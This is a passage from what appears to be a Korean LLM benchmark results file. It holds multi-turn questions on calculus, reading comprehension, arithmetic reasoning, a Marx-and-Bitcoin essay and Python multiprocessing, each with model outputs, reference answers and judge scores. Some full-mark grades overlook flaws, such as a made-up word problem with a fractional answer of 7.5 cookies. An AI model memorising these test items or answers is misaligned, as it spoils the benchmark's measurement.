설명하며 프리미엄 요금제 도입의 필요성을 강조했다. 또한, 도입 과정에서의 잠재적 어려움을 언급하고 이를 극복할 방안을 제시함으로써 실현 가능성에 대한 설득력을 높였다. 언어 요구사항을 충실히 준수하며 한국어로 답변하였으며, 글의 목적과 내용이 일치하는 효과적인 답변이었다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 주어진 질문에 대해 프리미엄 요금제 도입 시 기존 무료 사용자들의 반응을 다각도로 예상하며 상세하게 답변하였다. 긍정적 반응과 부정적 반응 모두를 고려하여, 사용자들이 느낄 수 있는 기대감과 우려를 잘 설명하였다. 또한, 성공적인 프리미엄 요금제 안착을 위한 조언을 제시함으로써 답변의 실용성을 높였다. 언어 요구사항을 충족하며 한국어로 명확하고 이해하기 쉬운 답변을 제공하였다. 이전 대화 맥락과도 일치하는 답변을 제시하여 후속 질문에 대한 연속성을 유지했다.", "judge_score": 10.0}}
{"id": 14, "category": "수학(Math)", "questions": ["f(x) = 3x^3 + 2x^2 + 58을 미분하시오.", "미분한 식을 한 번 더 미분해보시오."], "outputs": ["f(x) = 3x³ + 2x² + 58 의 미분은 다음과 같습니다.\n\n* **상수항 미분:** 상수항(58)의 미분은 0입니다.\n* **거듭제곱 미분:** 각 항의 지수를 계수로 내려주고, 지수를 1 감소시킵니다.\n\n이를 적용하면:\n\n1. 3x³ 의 미분: 3 * 3x^(3-1) = 9x²\n2. 2x² 의 미분: 2 * 2x^(2-1) = 4x\n\n따라서 f(x)의 미분, 즉 f'(x)는 다음과 같습니다.\n\n**f'(x) = 9x² + 4x** \n", "네, f'(x) = 9x² + 4x 를 한 번 더 미분해 보겠습니다. \n\n동일한 미분 규칙을 적용하면:\n\n1. 9x² 의 미분: 9 * 2x^(2-1) = 18x\n2. 4x 의 미분: 4 * 1x^(1-1) = 4 \n\n따라서 f'(x)를 미분한 결과, 즉 f''(x)는 다음과 같습니다.\n\n**f''(x) = 18x + 4** \n"], "references": ["9x^2 + 4x", "18x + 4"], "query_single": {"judge_message": "모델은 주어진 함수 f(x) = 3x^3 + 2x^2 + 58을 미분하는 과정을 정확하게 설명하고, 올바른 결과를 제시했다. 상수항의 미분이 0임을 명시하고, 각 항의 미분을 거듭제곱의 미분 규칙에 따라 계산하여 최종적으로 f'(x) = 9x^2 + 4x라는 결과를 도출했다. 이는 추가 참고자료에 제시된 결과와 일치한다. 언어 요구사항을 준수하며 한국어로 답변했으며, 미분 과정을 단계별로 설명함으로써 이해를 돕는다. 답변에 누락되거나 아쉬운 부분은 없으며, 질문에 대한 요구사항을 충실히 반영했다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 주어진 함수를 미분하는 과정을 정확하게 설명하고, 올바른 결과를 제시했습니다. 또한 후속 질문에 대해서도 미분 규칙을 적용하여 정확한 답변을 제공했습니다. 모델의 답변은 언어 요구사항을 충족하며 한국어로만 이루어져 있습니다. 추가 참고 자료에 제시된 미분 결과와 모델의 답변이 일치함을 확인할 수 있습니다. 이전 대화 맥락과도 일관성을 유지하고 있습니다.", "judge_score": 10.0}}
{"id": 30, "category": "이해(Understanding)", "questions": ["농업은 약 12,000년 전, 신석기 혁명이 시작된 이래로 인류 문명의 기반이 되어왔습니다. 이 중대한 시기는 유목 생활을 하는 수렵채집 공동체에서 정착한 농경 사회로의 전환을 나타냈습니다. 농사의 시작과 동물의 가축화는 인류 사회, 경제, 환경에 중대한 변화를 가져왔습니다.\n\n농업의 가장 초기 형태는 비옥한 초승달 지대, 즉 풍부한 토양과 유리한 기후로 유명한 중동 지역에서 기원한 것으로 여겨집니다. 이곳에서 고대 농부들은 밀, 보리, 콩을 재배하기 시작했으며, 염소, 양, 소와 같은 동물을 가축화했습니다. 이에 따라 사람들이 더 이상 음식을 찾아 떠돌아다니지 않아도 되었고, 정착 공동체의 출현으로 이어졌습니다.\n\n농업 실천이 퍼져감에 따라, 다양한 지역에서는 자신들의 지역 환경에 맞게 이러한 방법을 적용했습니다. 예를 들어, 아메리카 대륙에서는 원주민들이 옥수수, 콩, 호박과 같은 작물을 재배하며, 지속 가능한 농업에 대한 초기 이해를 보여주는 쓰리 시스터즈 기술을 사용했습니다. 한편, 동아시아에서는 벼와 기장의 재배가 대규모 인구를 부양하고 복잡한 사회의 발달로 이어졌습니다.\n\n18세기와 19세기의 산업혁명은 기계화된 농업을 도입했습니다. 이 변화는 식량 생산을 대폭 증가시켰지만, 토양 악화와 삼림 파괴와 같은 심각한 환경적 결과를 초래했습니다. 오늘날, 농업은 증가하는 세계 인구를 먹여 살리면서 동시에 환경 발자국을 최소화해야 하는 이중 과제에 직면해 있습니다. 생명공학 혁신, 지속 가능한 농업 실천, 도시 농업이 이러한 도전을 해결하기 위한 최전선에 있습니다.\n\n그럼에도 불구하고, 농업은 사회적 이슈와 깊이 연관되어 있습니다. 농경지의 분배, 자원에 대한 접근, 기후변화의 영향은 중요한 관심사입니다. 세계가 발전함에 따라, 농업의 지속가능성과 변화하는 환경에 적응할 수 있는 능력은 식량 안보와 환경 관리를 보장하는 데 있어 매우 중요할 것입니다.\n\n질문: 산업 혁명이 농업에 미친 영향을 이 글에서는 무엇이라고 이야기하고 있나? 답을 제시하고 해당 답을 도출해낸 근거를 설명해라.\nA) 노동력 부족으로 인해 식량 생산이 감소했다.\nB) 유전자 변형을 통해 작물의 영양 가치를 개선했다.\nC) 기계화된 농업을 도입하여 식량 생산을 증가시켰지만 환경 문제를 야기했다.\nD) 유기농 농법의 광범위한 채택으로 이어졌다.", "이 글에 대해서 어떻게 생각해? 이해한 내용을 바탕으로 평가, 비판해줘."], "outputs": ["정답은 **(C) 기계화된 농업을 도입하여 식량 생산을 증가시켰지만 환경 문제를 야기했다** 입니다.\n\n본문에서는 산업혁명이 농업에 미친 영향을 다음과 같이 설명하고 있습니다.\n\n* \"18세기와 19세기의 산업혁명은 기계화된 농업을 도입했습니다. 이 변화는 식량 생산을 대폭 증가시켰지만, 토양 악화와 삼림 파괴와 같은 심각한 환경적 결과를 초래했습니다.\"\n\n즉, 산업혁명으로 인해 기계화된 농업이 도입되면서 식량 생산량은 증가했지만, 동시에 토양 악화 및 삼림 파괴라는 환경 문제도 발생했음을 명확히 제시하고 있습니다. \n", "글에서 농업의 역사와 그것이 인류 문명에 미친 영향을 잘 설명했다고 생각합니다. 특히 좋았던 점은 다음과 같습니다.\n\n**장점:**\n\n* **농업 발전의 중요한 이정표를 시간순으로 잘 보여줍니다.** 비옥한 초승달 지대에서의 농업의 시작부터 산업 혁명과 그 이후의 기계화에 이르기까지 역사적 흐름을 잘 따라가며 설명하고 있습니다. \n* **다양한 지역의 농업 방식을 예시로 들어 이해를 돕습니다.**  쓰리 시스터즈와 같은 구체적인 예시는 농업 발전이 각 지역의 환경에 맞춰 어떻게 이루어졌는지 보여줍니다. \n* **산업혁명이 농업에 미친 영향을 긍정적 측면과 부정적 측면 모두 다루면서 균형 있게 서술합니다.** 생산량 증가와 환경 문제 사이의 상충 관계를 명확히 보여주는 것은 중요합니다.\n* **현대 농업이 직면한 과제와 그 해결책을 제시합니다.**  식량 안보와 환경 발자국 감소라는 이중 과제를 언급하고, 생명공학, 지속 가능한 농업, 도시 농업과 같은 해결책을 제시하는 것은 시의적절합니다.\n* **사회적 이슈와 농업의 연관성을 강조합니다.** 농경지 분배, 자원 접근, 기후 변화 영향을 언급함으로써 농업이 단순한 식량 생산을 넘어 사회 문제와도 밀접하게 연관되어 있음을 보여줍니다. \n\n**개선할 점:**\n\n* **현대 농업의 기술적 혁신에 대한 내용을 좀 더 자세히 다룰 수 있습니다.**  유전자 변형 작물, 정밀 농업, 스마트팜 기술 등 현대 농업 기술의 발전과 그 영향을 조금 더 구체적으로 다룬다면 글의 정보성이 더욱 향상될 것입니다.\n* **농업의 미래에 대한 전망을 좀 더 제시할 수 있습니다.**  기후 변화, 인구 증가, 식량 안보 문제 등 미래 사회가 직면할 과제와 그에 대한 농업의 역할을 전망하는 내용을 추가하면 좋을 것입니다.\n\n전반적으로 글의 구성이 논리적이고 정보 전달력이 뛰어나 농업의 역사와 중요성을 이해하는 데 도움이 되었습니다.  몇 가지 개선하면 더욱 완성도 높은 글이 될 것이라고 생각합니다. \n"], "references": ["C", null], "query_single": {"judge_message": "모델은 질문에 대한 정확한 답변을 제공하며, 해당 답을 도출해낸 근거를 명확하게 설명하고 있습니다. 질문에서 요구한 내용은 산업 혁명이 농업에 미친 영향에 대한 것이며, 모델은 이를 \"(C) 기계화된 농업을 도입하여 식량 생산을 증가시켰지만 환경 문제를 야기했다\"라고 정확히 지적하였습니다. 또한, 본문 내용을 인용하여 이러한 결론에 이르게 된 근거를 제시함으로써 질문에 충실한 답변을 하였습니다. 언어 요구사항도 충족하고 있으며, 추가 참조로 제공된 'C'와 일치하는 답변을 하였습니다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 주어진 질문에 대해 정확한 답변을 제시하며, 해당 답을 도출해낸 근거를 명확하게 설명하였다. 본문 내용을 바탕으로 산업 혁명이 농업에 미친 영향을 \"기계화된 농업을 도입하여 식량 생산을 증가시켰지만 환경 문제를 야기했다\"로 정확히 요약하였으며, 이를 뒷받침하는 본문 내용을 인용하여 설명하였다. 추가 참조로 제공된 'C'와 일치하는 답변을 제공함으로써 질문의 요구사항을 충실히 반영하였다. 언어 요구사항도 충족하였으며, 이전 대화 맥락과 일치하는 답변을 제공하였다.", "judge_score": 10.0}}
{"id": 6, "category": "추론(Reasoning)", "questions": ["민수의 책상 위에는 연필 12자루가 있다. 지아가 연필 한 자루를 빌려 갔고 현수도 그랬다. 민수는 남은 연필의 반절을 가방에 넣었다. 민수의 책상에는 몇 개의 연필이 남았을까?", "비슷한 문제를 출제하고 해당 문제의 풀이 방법을 제시해줘."], "outputs": ["1. **빌려준 연필:** 지아와 현수가 각각 연필 한 자루씩 빌려 갔으므로 민수는 총 2 자루를 빌려주었습니다 (1 + 1 = 2).\n\n2. **빌려주고 남은 연필:**  민수는 처음에 12자루를 가지고 있었고 2자루를 빌려주었으므로 10자루가 남았습니다 (12 - 2 = 10).\n\n3. **가방에 넣은 연필:** 민수는 남은 연필 10자루의 절반인 5자루를 가방에 넣었습니다 (10 / 2 = 5).\n\n4. **책상에 남은 연필:** 가방에 5자루를 넣었으므로 책상에는 5자루가 남아있습니다 (10 - 5 = 5).\n\n**답:** 민수의 책상에는 연필이 5자루 남았습니다. \n", "## 새로운 문제\n\n서연이는 20개의 쿠키를 구웠습니다. 서연이는 쿠키 중 5개를 먹고, 나머지 쿠키의 절반을 친구들에게 나누어 주었습니다. 서연이에게는 쿠키가 몇 개 남았을까요?\n\n## 풀이 방법\n\n1. **먹은 쿠키:** 서연이는 20개의 쿠키 중 5개를 먹었으므로 15개가 남았습니다 (20 - 5 = 15).\n\n2. **친구들에게 나눠준 쿠키:** 서연이는 남은 쿠키 15개의 절반인 7.5개를 친구들에게 나누어 주었습니다 (15 / 2 = 7.5).  쿠키 개수는 자연수이므로 친구들에게 7개를 나누어 주었다고 생각합니다. \n\n3. **남은 쿠키:** 서연이는 15개 중 7개를 친구들에게 주었으므로 8개가 남았습니다 (15 - 7 = 8).\n\n**답:** 서연이에게는 쿠키가 8개 남았습니다. \n"], "references": ["5개", null], "query_single": {"judge_message": "모델은 질문에 대한 답변을 단계별로 잘 설명하며, 최종적으로 올바른 답을 제시했다. 연필을 빌려간 인원 수와 남은 연필의 수, 가방에 넣은 연필의 수를 차례대로 계산하여 책상에 남은 연필의 수를 정확히 도출했다. 또한, 모델은 한국어로 답변하여 언어 요구사항을 충족했다. 추가 참고 자료인 '5개'와 일치하는 결과를 제시함으로써 질문의 요구사항을 완벽히 반영했다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 주어진 문제에 대한 답변을 정확하게 제공하였으며, 후속 질문에 대해서도 비슷한 유형의 문제를 출제하고 그 풀이 방법을 제시하는 데 성공했습니다. 모델은 새로운 문제를 만들고, 단계별로 풀이 과정을 설명하면서 최종적으로 남은 쿠키의 개수를 올바르게 계산했습니다. 또한, 모델은 쿠키 개수가 자연수여야 한다는 점을 고려하여 반올림을 통해 친구들에게 나눠준 쿠키의 수를 7개로 가정하고 계산을 진행했습니다. 이는 문제의 현실적인 맥락을 고려한 적절한 접근입니다. 언어 요구사항도 충족하였으며, 모든 답변이 한국어로 이루어졌습니다.", "judge_score": 10.0}}
{"id": 21, "category": "글쓰기(Writing)", "questions": ["자본론을 쓴 카를 마르크스가 오늘날의 비트코인 폭등과 같은 경제 현상을 어떻게 바라보았을지 상상해보고, 그의 관점에서 현대 사회의 문제를 분석해라.", "카를 마르크스의 관점에서 현대 사회의 문제를 분석하는 것이 어려운 점은 무엇인지 설명해라."], "outputs": ["## 칼 마르크스가 현대의 비트코인 광풍을 본다면?\n\n**\"유령같은 가치의 광란!\"** 칼 마르크스가 21세기의 암호화폐 광풍을 목격한다면 아마 이렇게 외쳤을 것이다. 그는 노동으로부터 분리된 자본의 무한 증식을 비판하며 자본주의의 필연적 위기를 예언했던 인물이다. 비트코인, 이더리움 등 암호화폐의 가치 폭등은 그에게 있어 \"유령같은 형태의 자본\"이 만들어낸 투기적 광풍으로, 자본주의가 낳은 새로운 모순으로 보였을 것이다.\n\n**1. 상품의 형태를 잃어버린 화폐, 추상화된 노동의 환영**: 마르크스는 화폐의 본질을 상품의 가치를 나타내는 '일반적 등가물'로 보았다. 하지만 비트코인은 실체 없는 디지털 코드에 기반하며, 그 가치는 전적으로 시장의 투기에 의해 좌우된다. 마르크스는 이러한 현상을 두고 \"화폐가 상품의 형태를 완전히 벗어던지고 추상화된 노동의 환영에 불과하게 되었다\"고 비판했을 것이다. 그는 비트코인의 가치가 실제 노동 과정과는 유리되어 투기적 광풍에 휩쓸리는 현실을 자본주의의 심화된 모순으로 진단했을 것이다.\n\n**2. 새로운 형태의 소외**: 마르크스는 자본주의 사회에서 노동자가 자신의 노동 생산물로부터 소외된다고 보았다. 비트코인 채굴 과정에서 발생하는 막대한 에너지 소비와 전자 폐기물 문제는 마르크스에게 새로운 형태의 소외를 보여주는 사례가 될 것이다. 그는 비트코인 채굴이라는 \"디지털 노동\"이 실질적인 가치 창출과는 동떨어진 채 환경 파괴와 자원 낭비를 초래한다는 점을 지적하며, 자본주의의 비인간적인 면모를 다시 한번 드러내는 것이라고 비판했을 것이다.\n\n**3. 자본주의 위기의 새로운 국면**: 마르크스는 자본주의가 내재적 모순으로 인해 필연적으로 위기를 맞이할 것이라고 보았다. 그는 비트코인 광풍과 같은 투기적 거품의 생성과 파멸을 자본주의 경제 시스템의 불안정성을 보여주는 단적인 예로 해석했을 것이다. 또한, 암호화폐 시장의 불투명성과 규제 부재는 자본주의의 무정부적인 속성을 드러내며, 금융 위기와 같은 사회적 재난을 야기할 수 있다는 점을 경고했을 것이다.\n\n**결론**: 칼 마르크스는 비트코인을 비롯한 암호화폐 광풍을 자본주의의 본질적인 문제점들이 더욱 심화되어 나타나는 현상으로 보았을 것이다. 그는 암호화폐가 만들어낸 새로운 형태의 소외, 불평등, 그리고 시스템의 불안정성을 날카롭게 비판하며, 근본적인 사회 변혁의 필요성을 다시 한번 강조했을 것이다. \n\n**하지만,**: 마르크스는 기술 발전 자체를 배척하는 인물은 아니었다. 그는 기술이 자본주의 사회에서는 소외와 착취의 도구로 사용되지만, 사회주의 사회에서는 인간 해방을 위한 도구가 될 수 있다고 보았다.  따라서 블록체인 기술 자체의 잠재력과 가능성에 대해서는 면밀히 분석했을 것이며, 이를 활용하여 더 나은 사회를 건설할 수 있는 가능성에 대해서도 고민했을 것이다.\n", "## 칼 마르크스의 렌즈로 현대 사회를 바라보는 것의 한계: \n\n칼 마르크스는 19세기 자본주의를 분석한 뛰어난 사상가이지만, 그의 이론을 현대 사회에 직접 적용하기에는 분명 한계점들이 존재합니다. \n\n**1. 자본주의의 변화**: 마르크스가 살았던 시대와 현재의 자본주의는 그 형태와 양상이 매우 달라졌습니다. \n\n* **글로벌 자본주의**:  마르크스는 주로 국민 국가 단위의 자본주의를 분석했지만, 오늘날 자본주의는 세계화된 네트워크를 기반으로 작동합니다. 초국적 기업, 국제 금융 시장 등은 마르크스 시대에는 존재하지 않았던 새로운 요소입니다.\n* **금융 자본주의**: 마르크스는 산업 자본주의를 중심으로 분석했지만, 오늘날에는 금융 자본의 영향력이 비대해졌습니다. 파생 상품, 투자 자본의 이동 등은 현대 자본주의의 특징적인 모습입니다.\n* **복지 국가**:  마르크스 시대와 달리, 오늘날 많은 자본주의 국가들은 어느 정도의 복지 제도를 갖추고 있습니다. 노동 운동의 성장과 사회 개혁을 통해 노동자들의 삶의 질이 향상되었고, 극단적인 빈곤이나 노동 착취는 완화되었습니다.\n\n**2. 계급 구조의 변화**: 마르크스는 자본가 계급과 노동자 계급의 이분법적인 계급 구조를 제시했지만, 현대 사회는 더욱 복잡하고 다층적인 계급 구조를 가지고 있습니다. \n\n* **중간 계급**: 관리직, 전문직, 서비스업 종사자 등 다양한 중간 계급이 등장하면서 전통적인 계급 구조가 모호해졌습니다. \n* **지식 노동**: 정보화 사회에서는 지식과 정보가 중요한 생산 요소가 되면서 지식 노동자들의 중요성이 커졌습니다. 이들은 전통적인 노동자 계급과는 다른 특징을 보입니다.\n\n**3. 기술 발전**: 마르크스는 산업 혁명 시대의 기술 발전을 목격했지만, 오늘날의 정보 통신 기술, 인공지능 등의 발전은 그가 예상하지 못했던 새로운 변화를 가져왔습니다. \n\n* **자동화**:  인공지능과 자동화 기술은 노동의 본질을 변화시키고 있으며, 대량 실업과 같은 새로운 문제를 야기할 가능성도 있습니다.\n* **디지털 플랫폼**: 구글, 아마존, 페이스북과 같은 거대 디지털 플랫폼 기업들은 막대한 데이터와 알고리즘을 기반으로 새로운 형태의 자본 축적을 이루고 있으며, 이는 기존의 자본주의 분석틀로는 설명하기 어려운 부분이 많습니다.\n\n**4. 사회 운동의 다양성**: 마르크스는 노동 운동을 중심으로 사회 변혁을 이룰 수 있다고 보았지만, 현대 사회에서는 환경 운동, 여성 운동, 인권 운동 등 다양한 사회 운동들이 등장하면서 사회 변혁의 주체가 다원화되었습니다.\n\n물론 이러한 한계점에도 불구하고, 마르크스의 이론은 여전히 현대 사회를 비판적으로 분석하는 데 유용한 도구가 될 수 있습니다. 특히 자본주의의 근본적인 문제점인 불평등, 소외, 착취 등은 여전히 해결되지 않은 채 남아있습니다. 다만, 마르크스의 이론을 현대 사회에 기계적으로 적용하기보다는 변화된 현실을 반영하여 비판적으로 계승하고 발전시켜야 할 것입니다. \n"], "references": [null, null], "query_single": {"judge_message": "모델은 카를 마르크스의 관점에서 현대의 비트코인 현상을 분석하는 데 성공적으로 접근했다. 마르크스의 이론을 바탕으로 비트코인의 가치 폭등을 \"유령같은 형태의 자본\"이라고 표현하며, 상품의 형태를 잃어버린 화폐, 새로운 형태의 소외, 자본주의 위기의 새로운 국면 등 세 가지 주요 포인트를 통해 현상을 분석했다. 또한, 마르크스가 기술 발전을 어떻게 바라봤는지에 대한 설명을 추가하여 답변의 깊이를 더했다. 언어 요구사항을 충족하며 한국어로 명확하고 이해하기 쉬운 답변을 제공했다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 카를 마르크스의 관점에서 현대 사회의 문제를 분석하는 데 있어서의 어려움을 잘 설명하고 있다. 자본주의의 변화, 계급 구조의 변화, 기술 발전, 사회 운동의 다양성 등 현대 사회의 복잡성을 고려한 마르크스의 이론 적용의 한계를 명확히 지적하고 있다. 또한, 마르크스의 이론이 여전히 유용할 수 있음을 언급하면서도 현대 사회의 변화된 현실을 반영하여 비판적으로 계승하고 발전시켜야 한다는 점을 강조하는 것은 적절하다. 답변은 질문의 요구사항을 충실히 반영하고 있으며, 이전 대화 맥락과도 일치한다. 언어 요구사항도 충족하고 있다.", "judge_score": 10.0}}
{"id": 24, "category": "코딩(Coding)", "questions": ["Python에서 멀티프로세스 및 멀티스레드를 구현할 수 있는 기본적인 방법 두 가지를 설명하고, 두 가지 방법의 차이점을 자세히 설명하시오.", "multiprocessing을 활용하여 변수 a에 1을 1억 번 더하는 코드를 작성해보시오."], "outputs": ["## Python 멀티프로세싱 vs 멀티스레딩\n\nPython에서 멀티프로세싱과 멀티스레딩은 모두 프로그램의 성능을 향상시키기 위해 병렬 처리를 활용하는 방법입니다. 하지만 둘 사이에는 중요한 차이점이 존재하며, 각각의 장단점을 이해하는 것이 중요합니다.\n\n### 1. 멀티프로세싱 (Multiprocessing)\n\n**개념:**\n\n- 여러 개의 프로세스를 생성하여 각 프로세스가 독립적인 메모리 공간에서 코드를 실행합니다.\n- 각 프로세스는 자신만의 전역 변수를 가지며, 다른 프로세스의 메모리 공간에 직접 접근할 수 없습니다.\n- 프로세스 간 통신은 IPC(Inter-Process Communication) 메커니즘(예: Queue, Pipe)을 사용합니다.\n\n**구현:**\n\n```python\nfrom multiprocessing import Process\n\ndef task(name):\n  print(f\"프로세스 {name} 실행 중\")\n\nif __name__ == \"__main__\":\n  p1 = Process(target=task, args=(\"1번\",))\n  p2 = Process(target=task, args=(\"2번\",))\n  p1.start()\n  p2.start()\n  p1.join()\n  p2.join()\n```\n\n**장점:**\n\n- **진정한 병렬 처리:** 여러 CPU 코어를 활용하여 작업을 동시에 실행할 수 있습니다.\n- **GIL 우회:** Python Global Interpreter Lock(GIL)의 제약을 받지 않아 CPU 바운드 작업에 효과적입니다.\n\n**단점:**\n\n- **높은 오버헤드:** 프로세스 생성 및 통신에 오버헤드가 발생합니다.\n- **복잡한 통신:** 프로세스 간 데이터 공유 및 동기화가 복잡합니다.\n\n### 2. 멀티스레딩 (Multithreading)\n\n**개념:**\n\n- 하나의 프로세스 내에서 여러 개의 스레드를 생성하여 코드를 동시에 실행합니다.\n- 모든 스레드는 프로세스의 메모리 공간을 공유하며, 전역 변수에 직접 접근 가능합니다.\n- 스레드 간 통신은 공유 메모리를 통해 이루어집니다.\n\n**구현:**\n\n```python\nfrom threading import Thread\n\ndef task(name):\n  print(f\"스레드 {name} 실행 중\")\n\nif __name__ == \"__main__\":\n  t1 = Thread(target=task, args=(\"1번\",))\n  t2 = Thread(target=task, args=(\"2번\",))\n  t1.start()\n  t2.start()\n  t1.join()\n  t2.join()\n```\n\n**장점:**\n\n- **낮은 오버헤드:** 스레드 생성 및 통신에 오버헤드가 적습니다.\n- **간편한 통신:** 스레드 간 데이터 공유 및 동기화가 간편합니다.\n\n**단점:**\n\n- **GIL 제약:** Python GIL 때문에 한 번에 하나의 스레드만 CPU를 사용할 수 있어 CPU 바운드 작업에 제한적입니다.\n- **동시성 문제 발생 가능:** 공유 메모리 접근 시 경쟁 조건 및 데드락과 같은 동시성 문제가 발생할 수 있습니다.\n\n### 멀티프로세싱 vs 멀티스레딩: 언제 무엇을 사용해야 할까요?\n\n- **CPU 바운드 작업 (CPU-bound task):** \n    - 멀티프로세싱 사용 (GIL 우회 가능)\n    - 예: 복잡한 계산, 이미지 처리\n- **I/O 바운드 작업 (I/O-bound task):** \n    - 멀티스레딩 또는 비동기 프로그래밍 (asyncio) 사용 (GIL의 영향 적음)\n    - 예: 네트워크 요청, 파일 입출력\n- **간단한 작업 & 빠른 통신 필요:** \n    - 멀티스레딩 사용 (낮은 오버헤드, 간편한 통신)\n\n## 결론\n\nPython에서 병렬 처리를 구현할 때 멀티프로세싱과 멀티스레딩 중 선택은 작업 유형, 성능 요구 사항, 복잡성 허용 범위 등을 고려하여 결정해야 합니다. \n", "```python\nimport multiprocessing\n\ndef add_to_a(n, lock, a):\n  \"\"\"변수 a에 n번 1을 더하는 함수\"\"\"\n  for _ in range(n):\n    with lock:  # 공유 변수 a에 대한 경쟁 조건 방지\n      a.value += 1\n\nif __name__ == \"__main__\":\n  num_processes = 4  # 프로세스 개수 조정 가능\n  iterations = 100000000  # 반복 횟수\n  iterations_per_process = iterations // num_processes\n\n  # 멀티 프로세싱을 위한 공유 변수 a 생성 (초기값 0)\n  a = multiprocessing.Value('i', 0)\n  \n  # 프로세스 간 동기화를 위한 Lock 생성\n  lock = multiprocessing.Lock()\n\n  # 프로세스 리스트 생성\n  processes = [\n    multiprocessing.Process(target=add_to_a, args=(iterations_per_process, lock, a))\n    for _ in range(num_processes)\n  ]\n\n  # 프로세스 시작\n  for p in processes:\n    p.start()\n\n  # 모든 프로세스 종료 대기\n  for p in processes:\n    p.join()\n\n  print(f\"최종 결과: {a.value}\")\n```\n\n**코드 설명:**\n\n1. **`multiprocessing.Value`를 사용하여 공유 변수 `a` 생성:**\n   - `'i'`는 변수 타입을 integer로 지정합니다.\n   - `0`은 초기값을 0으로 설정합니다.\n2. **`multiprocessing.Lock`을 사용하여 Lock 생성:**\n   - 여러 프로세스가 동시에 공유 변수 `a`에 접근하는 것을 막아 경쟁 조건을 방지합니다.\n3. **`add_to_a` 함수 내에서 `with lock:` 구문 사용:**\n   - `with lock:` 구문은 해당 블록을 임계 영역으로 지정하여 한 번에 하나의 프로세스만 접근하도록 합니다.\n4. **프로세스 생성 및 실행:**\n   - `multiprocessing.Process`를 사용하여 각 프로세스를 생성하고 `target`으로 `add_to_a` 함수를 지정합니다.\n   - `args`를 통해 각 프로세스에 필요한 인자(반복 횟수, lock, 공유 변수)를 전달합니다.\n   - `start()` 메서드로 각 프로세스를 시작합니다.\n5. **`join()` 메서드를 사용하여 모든 프로세스 종료 대기:**\n   - 메인 프로세스는 `join()` 메서드를 통해 모든 작업 프로세스가 종료될 때까지 기다립니다.\n6. **최종 결과 출력:**\n   - 모든 프로세스가 종료된 후 공유 변수 `a`의 값을 출력하여 1억 번의 덧셈 결과를 확인합니다.\n\n**참고:**\n\n- 프로세스 개수(`num_processes`)를 조절하여 CPU 코어 활용도를 높일 수 있습니다.\n- `iterations_per_process` 변수를 사용하여 각 프로세스가 담당할 반복 횟수를 동적으로 계산합니다.\n- `Lock`을 사용하여 동시성 문제를 방지하는 것이 중요합니다. \n"], "references": ["multiprocessing, threading이 있다. 차이점은 메모리 공유 여부나 GIL 제한 여부 등이 있다.", null], "query_single": {"judge_message": "모델은 멀티프로세싱과 멀티스레딩의 개념을 명확하게 설명하고, Python에서 이를 구현하는 기본적인 방법을 코드 예시와 함께 제시했습니다. 또한, 두 방법의 차이점을 메모리 공유 여부, GIL 제한 여부 등을 포함하여 자세히 설명하였습니다. 이는 추가 참조 정보에 부합하며, 질문의 요구사항을 충실히 반영하고 있습니다. 언어 요구사항도 한국어로 잘 준수하였습니다. 답변의 길이도 적절하며, 필요한 정보를 포괄적으로 다루고 있어 평가에 부정적인 영향을 미치지 않습니다.", "judge_score": 10.0}, "query_multi": {"judge_message": "모델은 멀티프로세싱과 멀티스레딩의 개념을 명확하게 설명하고, Python에서 이를 구현하는 기본적인 방법을 코드 예시와 함께 제시했다. 또한, 두 방법의 차이점을 메모리 공유 여부, GIL 제한 여부 등을 포함하여 자세히 설명했다. 후속 질문에 대한 답변으로 multiprocessing을 활용한 코드 예시를 제공하며, 공유 변수에 대한 경쟁 조건을 방지하기 위한 Lock 사용법을 설명했다. 이는 추가 참고 자료에 언급된 내용을 잘 반영한 것이다. 답변은 한국어로 이루어졌으며, 언어 요구사항을 충족했다. 다만, 멀티스레딩의 경우 GIL의 영향을 받는다는 점을 더 명확히 설명할 수 있었을 것이다.", "judge_score": 9.0}}
{"id": 5, "category": "추론(Reasoning)", "questions": ["라면 2개를 끓일 때 물의 양이 550x2=1100이 아니라 더 적게 넣으라고 하는 이유가 뭐야?", "물의 증발량에 영향을 미치는 요인들에는 뭐가 있을까?"], "outputs": ["라면 2개를 끓일 때 물의 양을 무조건 1100ml 보다 적게 넣어야 하는 것은 아닙니다! 다만, 많은 경우 1인분 기준보다 조금 적게 넣는 것이 더 맛있기 때문에 그런 이야기가 나오는 것 같네요. \n\n**물을 조금 적게 넣는 이유는 다음과 같습니다.**\n\n* **더 진하고 짭짤한 국물:** 물을 적게 넣으면 라면 스프가 덜 희석되어 국물이 더 진하고 짭짤해집니다. \n* **면의 쫄깃함:** 물이 적으면 면이 퍼지는 것을 방지하고 쫄깃한 식감을 살릴 수 있습니다.\n* **끓는점 상승:** 물의 양이 많으면 끓는점에 도달하는 시간이 길어져 가스 소모량이 늘어나고, 면이 퍼질 가능성도 높아집니다.\n\n**하지만 물의 양은 개인의 취향이나 라면 종류에 따라 달라질 수 있습니다.**\n\n* **국물을 넉넉히 먹고 싶다면:**  1100ml 보다 조금 더 넣어도 좋습니다.\n* **국물 라면:** 물을 넉넉히 넣어야 합니다.\n* **볶음 라면:** 물을 적게 넣어 졸여 먹어야 합니다.\n\n**가장 좋은 방법은 레시피를 참고하여 물의 양을 조절하는 것입니다.** \n라면 봉지 뒷면에는 보통 1인분, 2인분 기준 물의 양이 적혀있습니다. 2인분을 끓일 때는 1인분 기준보다 약간 적게 넣어보고, 취향에 따라 조절하는 것이 좋습니다. 😊 \n", "물의 증발량에 영향을 미치는 요인은 생각보다 다양합니다! 마치 라면 끓일 때 물 양 조절하는 것처럼 미묘한 차이를 만들어내죠. 😊 주요 요인들을 크게 6가지로 나누어 살펴보겠습니다.\n\n**1. 온도 (Temperature)**\n\n* **가장 큰 영향:** 온도가 높을수록 물 분자는 더 많은 에너지를 얻어 활발하게 움직이고, 액체 상태를 벗어나 기체(수증기)로 변하기 쉬워집니다. \n* **예시:** 뜨거운 여름날 빨래가 금방 마르는 것, 냉장 보관한 음식보다 실온 보관한 음식이 더 빨리 마르는 것\n\n**2. 습도 (Humidity)**\n\n* **공기 중 수증기량:** 공기 중에 이미 수증기가 많이 포함되어 있다면(습도가 높다면), 물은 증발하기 어려워집니다. 반대로 건조한 공기에서는 증발이 활발하게 일어납니다.\n* **예시:** 습한 여름날에는 빨래가 잘 마르지 않고, 사막과 같이 건조한 지역에서는 땀이 빠르게 